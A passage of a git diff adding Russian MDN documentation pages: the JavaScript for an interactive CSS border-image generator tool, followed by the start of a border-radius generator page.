+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+	var subscribers = {};
+	var dropdowns = [];
+	var active = null;
+
+	var visbility = ["hidden", "visible"];
+
+
+	var DropDown = function DropDown(node) {
+		var topic = node.getAttribute('data-topic');
+		var label = node.getAttribute('data-label');
+		var selected = node.getAttribute('data-selected') | 0;
+
+		var select = document.createElement('div');
+		var list = document.createElement('div');
+		var uval = 0;
+		var option = null;
+		var option_value = null;
+
+		list.className = 'ui-dropdown-list';
+		select.className = 'ui-dropdown-select';
+
+		while (node.firstElementChild !== null) {
+			option = node.firstElementChild;
+			option_value = option.getAttribute('data-value');
+
+			if (option_value === null)
+				option.setAttribute('data-value', uval);
+
+			list.appendChild(node.firstElementChild);
+			uval++;
+		}
+
+		node.appendChild(select);
+		node.appendChild(list);
+
+		select.onclick = this.toggle.bind(this);
+		list.onclick = this.updateValue.bind(this);
+		document.addEventListener('click', clickOut);
+
+		this.state = 0;
+		this.time = 0;
+		this.dropmenu = list;
+		this.select = select;
+		this.toggle(false);
+		this.value = {};
+		this.topic = topic;
+
+		if (label)
+			select.textContent = label;
+		else
+			this.setNodeValue(list.children[selected]);
+
+		dropdowns[topic] = this;
+
+	};
+
+	DropDown.prototype.toggle = function toggle(state) {
+		if (typeof(state) === 'boolean')
+			this.state = state === false ? 0 : 1;
+		else
+			this.state = 1 ^ this.state;
+
+		if (active !== this) {
+			if (active)
+				active.toggle(false);
+			active = this;
+		}
+
+		if (this.state === 0)
+			this.dropmenu.setAttribute('data-hidden', 'true');
+		else
+			this.dropmenu.removeAttribute('data-hidden');
+
+	};
+
+	var clickOut = function clickOut(e) {
+		if (active.state === 0 ||
+			e.target === active.dropmenu ||
+			e.target === active.select)
+			return;
+
+		active.toggle(false);
+	};
+
+	DropDown.prototype.updateValue = function updateValue(e) {
+
+		if (Date.now() - this.time < 500)
+			return;
+
+		if (e.target.className !== "ui-dropdown-list") {
+			this.setNodeValue(e.target);
+			this.toggle(false);
+		}
+
+		this.time = Date.now();
+	};
+
+	DropDown.prototype.setNodeValue = function setNodeValue(node) {
+		this.value['name'] = node.textContent;
+		this.value['value'] = node.getAttribute('data-value');
+
+		this.select.textContent = node.textContent;
+		this.select.setAttribute('data-value', this.value['value']);
+
+		notify.call(this);
+	};
+
+	var createDropDown = function createDropDown(topic, options) {
+
+		var dropdown = document.createElement('div');
+		dropdown.setAttribute('data-topic', topic);
+		dropdown.className = 'ui-dropdown';
+
+		for (var i in options) {
+			var x = document.createElement('div');
+			x.setAttribute('data-value', i);
+			x.textContent = options[i];
+			dropdown.appendChild(x);
+		}
+
+		new DropDown(dropdown);
+
+		return dropdown;
+	};
+
+	var setValue = function setValue(topic, index) {
+		if (dropdowns[topic] === undefined ||
+			index >= dropdowns[topic].dropmenu.children.length)
+			return;
+
+		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		var index = subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	};
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-dropdown');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new DropDown(elem[i]);
+
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		createDropDown : createDropDown
+	};
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	};
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	};
+
+	var setValue = function setValue(topic, value) {
+		var obj = buttons[topic];
+		if (obj === undefined)
+			return;
+
+		obj.checkbox.checked = value;
+		notify.call(obj);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	};
+
+})();
+
+window.addEventListener("load", function() {
+	BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+	var getElemById = document.getElementById.bind(document);
+
+	var subject;
+	var preview;
+	var guidelines = [];
+	var positions = ['top', 'right', 'bottom', 'left'];
+
+	var makeDraggable = function makeDraggable(elem) {
+
+		var offsetTop;
+		var offsetLeft;
+
+		elem.setAttribute('data-draggable', 'true');
+
+		var dragStart = function dragStart(e) {
+			if (e.target.getAttribute('data-draggable') !== 'true' ||
+				e.target !== elem || e.button !== 0)
+				return;
+
+			offsetLeft = e.clientX - elem.offsetLeft;
+			offsetTop = e.clientY - elem.offsetTop;
+
+			document.addEventListener('mousemove', mouseDrag);
+			document.addEventListener('mouseup', dragEnd);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			document.removeEventListener('mouseup', dragEnd);
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+
+			elem.style.left = e.clientX - offsetLeft + 'px';
+			elem.style.top = e.clientY - offsetTop + 'px';
+		};
+
+		elem.addEventListener('mousedown', dragStart, false);
+	};
+
+	var PreviewControl = function PreviewControl() {
+
+		var dragging = false;
+		var valueX = null;
+		var valueY = null;
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			valueX = e.clientX - preview.clientWidth;
+			valueY = e.clientY - preview.clientHeight;
+			dragging = true;
+
+			document.addEventListener('mousemove', mouseDrag);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0 || dragging === false)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			dragging = false;
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+			InputSliderManager.setValue('preview-width', e.clientX - valueX);
+			InputSliderManager.setValue('preview-height', e.clientY - valueY);
+		};
+
+		var init = function init() {
+
+			makeDraggable(preview);
+			makeDraggable(subject);
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			handle.addEventListener('mousedown', dragStart);
+			document.addEventListener('mouseup', dragEnd);
+
+			preview.appendChild(handle);
+
+		};
+
+		return {
+			init: init
+		};
+
+	}();
+
+	var ImageReader = (function ImageReader() {
+
+		var fReader = new FileReader();
+		var browse = document.createElement('input');
+
+		var loadImage = function loadImage(e) {
+			if (browse.files.length === 0)
+				return;
+
+			var file = browse.files[0];
+
+			if (file.type.slice(0, 5) !== 'image')
+				return;
+
+			fReader.readAsDataURL(file);
+
+			return false;
+		};
+
+		fReader.onload = function(e) {
+			ImageControl.loadRemoteImage(e.target.result);
+		};
+
+		var load = function load() {
+			browse.click();
+		};
+
+		browse.setAttribute('type', 'file');
+		browse.style.display = 'none';
+		browse.onchange = loadImage;
+
+		return {
+			load: load
+		};
+
+	})();
+
+	var ImageControl = (function ImageControl() {
+
+		var scale = 0.5;
+		var imgSource = new Image();
+		var imgState = null;
+		var selected = null;
+
+
+		var topics = ['slice', 'width', 'outset'];
+		var properties = {};
+		properties['border1'] = {
+			fill			: false,
+
+			slice_values	: [27, 27, 27, 27],
+			width_values	: [20, 20, 20, 20],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [1, 1],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border2'] = {
+			fill			: false,
+
+			slice_values	: [33, 33, 33, 33],
+			width_values	: [1.5, 1.5, 1.5, 1.5],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [1, 1, 1, 1],
+			width_units		: [2, 2, 2, 2],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border3'] = {
+			fill			: true,
+
+			slice_values	: [15, 15, 15, 15],
+			width_values	: [10, 10, 10, 10],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border4'] = {
+			fill			: false,
+
+			slice_values	: [13, 13, 13, 13],
+			width_values	: [13, 13, 13, 13],
+			outset_values	: [13, 13, 13, 13],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border5'] = {
+			fill			: false,
+
+			slice_values	: [0, 12, 0, 12],
+			width_values	: [0, 12, 0, 12],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400,
+		};
+
+		properties['border6'] = {
+			fill			: false,
+
+			slice_values	: [42, 42, 42, 42],
+			width_values	: [42, 42, 42, 42],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [350, 350],
+			preview_area	: 500,
+		};
+
+
+		var loadLocalImage = function loadLocalImage(source) {
+			var location = "images/" + source;
+			imgSource.src = location;
+		};
+
+		var loadRemoteImage = function loadRemoteImage(source) {
+			imgSource.src = source;
+			if (selected)
+				selected.removeAttribute('selected');
+			Tool.setOutputCSS('source', 'url("' + source + '")');
+		};
+
+		var pickImage = function pickImage(e) {
+			if (e.target.className === 'image') {
+				selected = e.target;
+				selected.setAttribute('selected', 'true');
+				loadRemoteImage(e.target.src);
+				imgState = e.target.getAttribute('data-stateID');
+			}
+		};
+
+		var loadImageState = function loadImageState(stateID) {
+			if (properties[stateID] === undefined)
+				return;
+
+			var prop = properties[stateID];
+			var topic;
+			var unit_array;
+			var value_array;
+
+			for (var i in topics) {
+				for (var j=0; j<4; j++) {
+					topic = topics[i] + '-' + positions[j];
+					unit_array = topics[i] + '_units';
+					value_array = topics[i] + '_values';
+					InputSliderManager.setValue(topic, prop[value_array][j]);
+					DropDownManager.setValue(topic, prop[unit_array][j]);
+				}
+			}
+
+			ButtonManager.setValue('slice-fill', prop['fill']);
+			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+			InputSliderManager.setValue('preview-width', prop['size'][0]);
+			InputSliderManager.setValue('preview-height', prop['size'][1]);
+			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+		};
+
+		var update = function update() {
+			scale =  Math.min(300, (30000 / this.width) | 0);
+			setScale(scale);
+			InputSliderManager.setValue('scale', scale, false);
+
+			subject.style.backgroundImage = 'url("' + this.src + '")';
+			preview.style.borderImageSource = 'url("' + this.src + '")';
+
+			guidelines['slice-top'].setMax(this.height);
+			guidelines['slice-right'].setMax(this.width);
+			guidelines['slice-bottom'].setMax(this.height);
+			guidelines['slice-left'].setMax(this.width);
+
+			if (imgState)
+				loadImageState(imgState);
+		};
+
+		var setScale = function setScale(value) {
+			scale = value;
+			var w = imgSource.width * scale / 100 | 0;
+			var h = imgSource.height * scale / 100 | 0;
+			subject.style.width = w + 'px';
+			subject.style.height = h + 'px';
+
+			for (var i = 0; i < positions.length; i++)
+				guidelines['slice-' + positions[i]].updateGuidelinePos();
+		};
+
+		var getScale = function getScale() {
+			return scale/100;
+		};
+
+		var toggleGallery = function toggleGallery() {
+			var gallery = getElemById('image-gallery');
+			var button  = getElemById('toggle-gallery');
+			var state = 1;
+			button.addEventListener('click', function() {
+				state = 1 ^ state;
+				if (state === 0) {
+					gallery.setAttribute('data-collapsed', 'true');
+					button.setAttribute('data-action', 'show');
+				}
+				else {
+					gallery.removeAttribute('data-collapsed');
+					button.setAttribute('data-action', 'hide');
+				}
+			});
+		};
+
+		var init = function init() {
+			var gallery = getElemById('image-gallery');
+			var browse = getElemById('load-image');
+			var remote = getElemById('remote-url');
+			var load_remote = getElemById('load-remote');
+
+			remote.addEventListener('change', function(){
+				loadRemoteImage(this.value);
+			});
+
+			load_remote.addEventListener('click', function(){
+				loadRemoteImage(remote.value);
+			});
+
+			browse.addEventListener('click', ImageReader.load);
+			gallery.addEventListener('click', pickImage);
+			imgSource.addEventListener('load', update);
+
+			InputSliderManager.subscribe('scale', setScale);
+			InputSliderManager.setValue('scale', scale);
+			imgState = 'border1';
+			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+			toggleGallery();
+		};
+
+		return {
+			init: init,
+			getScale : getScale,
+			loadRemoteImage: loadRemoteImage
+		};
+
+	})();
+
+	var GuideLine = function GuideLine(node) {
+		var topic = node.getAttribute('data-topic');
+		var axis = node.getAttribute('data-axis');
+
+		this.node = node;
+		this.topic = topic;
+		this.axis = axis;
+		this.info = topic.split('-')[1];
+
+		this.position = 0;
+		this.value = 0;
+		this.unit = 0;
+		this.max = 0;
+		this.pos = positions.indexOf(this.info);
+
+		guidelines[topic] = this;
+
+		var relative_container = document.createElement('div');
+		var tooltip = document.createElement('div');
+		var tooltip2 = document.createElement('div');
+
+		tooltip.className = 'tooltip';
+		tooltip.setAttribute('data-info', this.info);
+
+		tooltip2.className = 'tooltip2';
+		tooltip2.textContent = this.info;
+		tooltip2.setAttribute('data-info', this.info);
+
+		this.tooltip = tooltip;
+
+		relative_container.appendChild(tooltip);
+		relative_container.appendChild(tooltip2);
+		node.appendChild(relative_container);
+
+		var startX = 0;
+		var startY = 0;
+		var start = 0;
+
+		var startDrag = function startDrag(e) {
+			startX = e.clientX;
+			startY = e.clientY;
+			start = guidelines[topic].position;
+			document.body.setAttribute('data-move', axis);
+			relative_container.setAttribute('data-active', '');
+			node.setAttribute('data-active', '');
+
+			document.addEventListener('mousemove', updateGuideline);
+			document.addEventListener('mouseup', endDrag);
+		};
+
+		var endDrag = function endDrag() {
+			document.body.removeAttribute('data-move');
+			relative_container.removeAttribute('data-active');
+			node.removeAttribute('data-active');
+
+			document.removeEventListener('mousemove', updateGuideline);
+		};
+
+		var updateGuideline = function updateGuideline(e) {
+			var value;
+			if (topic === 'slice-top')
+				value = e.clientY - startY + start;
+
+			if (topic === 'slice-right')
+				value = startX - e.clientX + start;
+
+			if (topic === 'slice-bottom')
+				value = startY - e.clientY + start;
+
+			if (topic === 'slice-left')
+				value = e.clientX - startX + start;
+
+			if (this.unit === 0)
+				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+			else {
+				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+			}
+
+		}.bind(this);
+
+		node.addEventListener("mousedown", startDrag);
+
+		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+		InputSliderManager.setValue(topic, this.position);
+	};
+
+
+	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+		if (this.unit === 0)
+			this.position = this.value * ImageControl.getScale() | 0;
+		else
+			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+		this.node.style[this.info] = this.position + 'px';
+	};
+
+	GuideLine.prototype.setPosition = function setPosition(value) {
+		this.value = value;
+		this.tooltip.textContent = value;
+		this.updateGuidelinePos();
+		Tool.setBorderSlice(this.pos, value);
+	};
+
+	GuideLine.prototype.setMax = function setMax(max) {
+		this.max = max;
+		this.updateLimit();
+	};
+
+	GuideLine.prototype.updateLimit = function updateLimit() {
+		if (this.unit === 1)
+			InputSliderManager.setMax(this.topic, 100);
+		else
+			InputSliderManager.setMax(this.topic, this.max);
+	};
+
+	GuideLine.prototype.setUnit = function setUnit(type) {
+		if (type === '%')	this.unit = 1;
+		if (type === '')	this.unit = 0;
+		this.updateLimit();
+	};
+
+	/*
+	 * Unit panel
+	 */
+	var UnitPanel = (function UnitPanel () {
+
+		var panel;
+		var title;
+		var precision;
+		var step;
+		var unit_topic = null; // settings are made for this topic
+		var step_option = [1, 0.1, 0.01];
+
+		var updatePrecision = function updatePrecision(value) {
+			InputSliderManager.setPrecision('unit-step', value);
+			InputSliderManager.setStep('unit-step', step_option[value]);
+			InputSliderManager.setMin('unit-step', step_option[value]);
+
+			if (unit_topic)
+				InputSliderManager.setPrecision(unit_topic, value);
+		};
+
+		var updateUnitSettings = function updateUnitSettings(value) {
+			if (unit_topic)
+				InputSliderManager.setStep(unit_topic, value);
+		};
+
+		var show = function show(e) {
+			var topic = e.target.getAttribute('data-topic');
+			var precision = InputSliderManager.getPrecision(topic);
+			var step = InputSliderManager.getStep(topic);
+
+			unit_topic = topic;
+			title.textContent = topic;
+
+			panel.setAttribute('data-active', 'true');
+			panel.style.top = e.target.offsetTop - 40 + 'px';
+			panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+			InputSliderManager.setValue('unit-precision', precision);
+			InputSliderManager.setValue('unit-step', step);
+		};
+
+		var init = function init() {
+			panel = document.createElement('div');
+			title = document.createElement('div');
+			var close = document.createElement('div');
+
+			step = InputSliderManager.createSlider('unit-step', 'step');
+			precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+			InputSliderManager.setStep('unit-precision', 1);
+			InputSliderManager.setMax('unit-precision', 2);
+			InputSliderManager.setValue('unit-precision', 2);
+			InputSliderManager.setSensivity('unit-precision', 20);
+
+			InputSliderManager.setValue('unit-step', 1);
+			InputSliderManager.setStep('unit-step', 0.01);
+			InputSliderManager.setPrecision('unit-step', 2);
+
+			InputSliderManager.subscribe('unit-precision', updatePrecision);
+			InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+			close.addEventListener('click', function () {
+				panel.setAttribute('data-active', 'false');
+			});
+
+			title.textContent = 'Properties';
+			title.className = 'title';
+			close.className = 'close';
+			panel.id = 'unit-settings';
+			panel.setAttribute('data-active', 'false');
+			panel.appendChild(title);
+			panel.appendChild(precision);
+			panel.appendChild(step);
+			panel.appendChild(close);
+			document.body.appendChild(panel);
+		};
+
+		return {
+			init : init,
+			show : show
+		};
+
+	})();
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview_area;
+		var dropdown_unit_options = [
+			{ '' : '--', '%' : '%'},
+			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
+			{ 'px' : 'px', 'em' : 'em'},
+		];
+
+		var border_slice = [];
+		var border_width = [];
+		var border_outset = [];
+
+		var border_slice_values = [];
+		var border_width_values = [];
+		var border_outset_values = [];
+
+		var border_slice_units = ['', '', '', ''];
+		var border_width_units = ['px', 'px', 'px', 'px'];
+		var border_outset_units = ['px', 'px', 'px', 'px'];
+
+		var border_fill = false;
+		var border_repeat = ['round', 'round'];
+		var CSS_code = {
+			'source' : null,
+			'slice' : null,
+			'width' : null,
+			'outset' : null,
+			'repeat' : null
+		};
+
+		var setBorderSlice = function setBorderSlice(positionID, value) {
+			border_slice[positionID] = value + border_slice_units[positionID];
+			updateBorderSlice();
+		};
+
+		var updateBorderSlice = function updateBorderSlice() {
+			var value = border_slice.join(' ');
+			if (border_fill === true)
+				value += ' fill';
+
+			preview.style.borderImageSlice = value;
+			setOutputCSS('slice', value);
+		};
+
+		var setBorderFill = function setBorderFill(value) {
+			border_fill = value;
+			var bimgslice = border_slice.join(' ');;
+			if (value === true)
+				bimgslice += ' fill';
+
+			preview.style.borderImageSlice = bimgslice;
+		};
+
+		var updateBorderWidth = function updateBorderWidth() {
+			var value = border_width.join(' ');
+			preview.style.borderImageWidth = value;
+			setOutputCSS('width', value);
+		};
+
+		var updateBorderOutset = function updateBorderOutset() {
+			var value = border_outset.join(' ');
+			preview.style.borderImageOutset = border_outset.join(' ');
+			setOutputCSS('outset', value);
+		};
+
+		var setBorderRepeat = function setBorderRepeat(obj) {
+			border_repeat[obj.value] = obj.name;
+			var value = border_repeat.join(' ');
+			preview.style.borderImageRepeat = value;
+			setOutputCSS('repeat', value);
+		};
+
+		var setOutputCSS = function setOutputCSS(topic, value) {
+			CSS_code[topic].textContent = value + ';';
+		};
+
+		var setPreviewFontSize = function setPreviewFontSize(value) {
+			preview.style.fontSize = value + 'px';
+		};
+
+		var setPreviewWidth = function setPreviewWidth(value) {
+			preview.style.width = value + 'px';
+		};
+
+		var setPreviewHeight = function setPreviewHeight(value) {
+			preview.style.height = value + 'px';
+		};
+
+		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+			preview_area.style.height = value + 'px';
+		};
+
+		var updateDragOption = function updateDragOption(value) {
+			if (value === true)
+				subject.setAttribute('data-draggable', 'true');
+			else
+				subject.removeAttribute('data-draggable');
+		};
+
+		var createProperty = function createProperty(topic, labelID, optionsID) {
+
+			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+			InputSliderManager.setSensivity(topic, 3);
+			InputSliderManager.setPrecision(topic, 1);
+
+			var property = document.createElement('div');
+			var config = document.createElement('div');
+
+			property.className = 'property';
+			config.className = 'config';
+			config.setAttribute('data-topic', topic);
+			config.addEventListener('click', UnitPanel.show);
+
+			property.appendChild(slider);
+			property.appendChild(dropdown);
+			property.appendChild(config);
+
+			return property;
+		};
+
+		var initBorderSliceControls = function initBorderSliceControls() {
+			var container = getElemById('border-slice-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_slice_values[id] = value;
+					border_slice[id] = value + border_slice_units[id];
+					updateBorderSlice();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					guidelines[topic].setUnit(obj.value);
+					border_slice_units[id] = obj.value;
+					border_slice[id] = border_slice_values[id] + obj.value;
+					updateBorderSlice();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'slice-' + positions[i];
+				var property = createProperty(topic, i, 0);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+
+			container.appendChild(container.children[1]);
+
+		};
+
+		var initBorderWidthControls = function initBorderWidthControls() {
+			var container = getElemById('border-width-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_width_values[id] = value;
+					border_width[id] = value + border_width_units[id];
+					updateBorderWidth();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					if (obj.value === '%')
+						InputSliderManager.setMax(topic, 100);
+					else
+						InputSliderManager.setMax(topic, 1000);
+
+					border_width_units[id] = obj.value;
+					border_width[id] = border_width_values[id] + obj.value;
+					updateBorderWidth();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'width-' + positions[i];
+				var property = createProperty(topic, i, 1);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var initBorderOutsetControls = function initBorderOutsetControls() {
+
+			var container = getElemById('border-outset-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_outset_values[id] = value;
+					border_outset[id] = value + border_outset_units[id];
+					updateBorderOutset();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					border_outset_units[id] = obj.value;
+					border_outset[id] = border_outset_values[id] + obj.value;
+					updateBorderOutset();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'outset-' + positions[i];
+				var property = createProperty(topic, i, 2);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var init = function init() {
+
+			var gallery =
+			subject = getElemById('subject');
+			preview = getElemById("preview");
+			preview_area = getElemById("preview_section");
+
+
+			CSS_code['source'] = getElemById("out-border-source");
+			CSS_code['slice'] = getElemById("out-border-slice");
+			CSS_code['width'] = getElemById("out-border-width");
+			CSS_code['outset'] = getElemById("out-border-outset");
+			CSS_code['repeat'] = getElemById("out-border-repeat");
+
+			initBorderSliceControls();
+			initBorderWidthControls();
+			initBorderOutsetControls();
+
+			var elem = document.querySelectorAll('.guideline');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				new GuideLine(elem[i]);
+
+			PreviewControl.init();
+
+			ButtonManager.subscribe('slice-fill',setBorderFill);
+			ButtonManager.subscribe('drag-subject', updateDragOption);
+			ButtonManager.setValue('drag-subject', false);
+
+			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+			InputSliderManager.subscribe('preview-width', setPreviewWidth);
+			InputSliderManager.subscribe('preview-height', setPreviewHeight);
+			InputSliderManager.subscribe('font-size', setPreviewFontSize);
+			InputSliderManager.setValue('preview-width', 300);
+			InputSliderManager.setValue('preview-height', 200);
+		};
+
+		return {
+			init: init,
+			setOutputCSS: setOutputCSS,
+			setBorderSlice: setBorderSlice
+		};
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		InputSliderManager.init();
+		DropDownManager.init();
+		ButtonManager.init();
+		UnitPanel.init();
+		Tool.init();
+		ImageControl.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+
+ +

{{ EmbedLiveSample('Border_Image_Generator', '100%', '1270px') }}

+ +

 

diff --git "a/files/ru/web/css/css_background_and_borders/border-radius_\320\263\320\265\320\275\320\265\321\200\320\260\321\202\320\276\321\200/index.html" "b/files/ru/web/css/css_background_and_borders/border-radius_\320\263\320\265\320\275\320\265\321\200\320\260\321\202\320\276\321\200/index.html" new file mode 100644 index 0000000000..71f94831f0 --- /dev/null +++ "b/files/ru/web/css/css_background_and_borders/border-radius_\320\263\320\265\320\275\320\265\321\200\320\260\321\202\320\276\321\200/index.html" @@ -0,0 +1,1599 @@ +--- +title: Border-radius генератор +slug: Web/CSS/CSS_Background_and_Borders/Border-radius_генератор +translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +--- +

С помощью этого инструмента вы можете создать CSS3 {{cssxref("border-radius")}} эффекты.

+ +
+

border-radius

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="preview" class="col span_12">
+            <div id="subject">
+                <div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top">
+                </div>
+                <div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top">
+                </div>
+                <div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom">
+                </div>
+                <div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom">
+                </div>
+
+                <div id="radius-ui-sliders">
+                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
